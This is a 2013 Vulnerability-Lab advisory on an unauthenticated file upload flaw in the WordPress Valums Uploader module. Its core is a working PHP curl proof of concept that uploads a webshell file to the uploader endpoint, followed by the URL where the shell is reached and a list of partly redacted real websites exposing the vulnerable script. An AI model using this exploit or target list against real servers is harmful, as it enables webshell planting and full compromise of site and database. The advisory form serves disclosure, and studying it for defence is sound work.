Title: ====== Wordpress Valums Uploader - File Upload Vulnerability Date: ===== 2013-01-04 References: =========== http://www.vulnerability-lab.com/get_content.php?id=817 VL-ID: ===== 817 Common Vulnerability Scoring System: ==================================== 7.5 Abstract: ========= The independent laboratory researcher (jingo-bd) discovered a remote file upload vulnerability in the Wordpress `Valums Uploader` application. Report-Timeline: ================ 2013-01-04: Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== A file upload vulnerability is detected in the Wordpress `Valums Uploader` application module. The vulnerability allows remote attackers to upload files like webshells and co. to unauthorized access them after the upload to compromise the application system. The vulnerability is located in the valums uploader module when processing to request for uploads via POST. Attackers can unauthorized upload own files to compromise the web application or system dbms. Exploitation of the file upload vulnerability requires no user interaction and can be processed without privileged application user account. Successful exploitation of the remote file upload vulnerability results in system and dbms compromise. Vulnerable Module(s): [+] Valums Uploader Proof of Concept: ================= The remote vulnerability can be exploited by remote attackers without required user interaction and without privileged application user account. For demonstration or reproduce ... <?php $uploadfile="bangla.php"; $ch = curl_init("http://localhost/wordpress/VALUMS_UPLOADER_PATH/php.php";); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Access: http://localhost/wp-content/uploads/2013/01/bangla.php Reference(s): http://www.xxx.ca/wp/wp-content/themes/lightspeed/framework/_scripts/valums_uploader/php.php http://www.xxx.co.uk/wp-content/themes/eptonic/functions/jwpanel/scripts/valums_uploader/php.php http://www3.xxx.com/v2/wp-content/themes/nuance/functions/jwpanel/scripts/valums_uploader/php.phps Risk: ===== The security risk of the unauthorized shell upload exploit is estimated as high(+). Credits: ======== JingoBD - (http://facebook.com/bdcyberarmy) Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, All Of My BCA Friends and BANGLADESHI Hacker Team. Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@xxxxxxxxxxxxxxxxxxxxx - support@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or support@xxxxxxxxxxxxxxxxxxxxx) to get a permission. Copyright © 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research@xxxxxxxxxxxxxxxxxxxxx
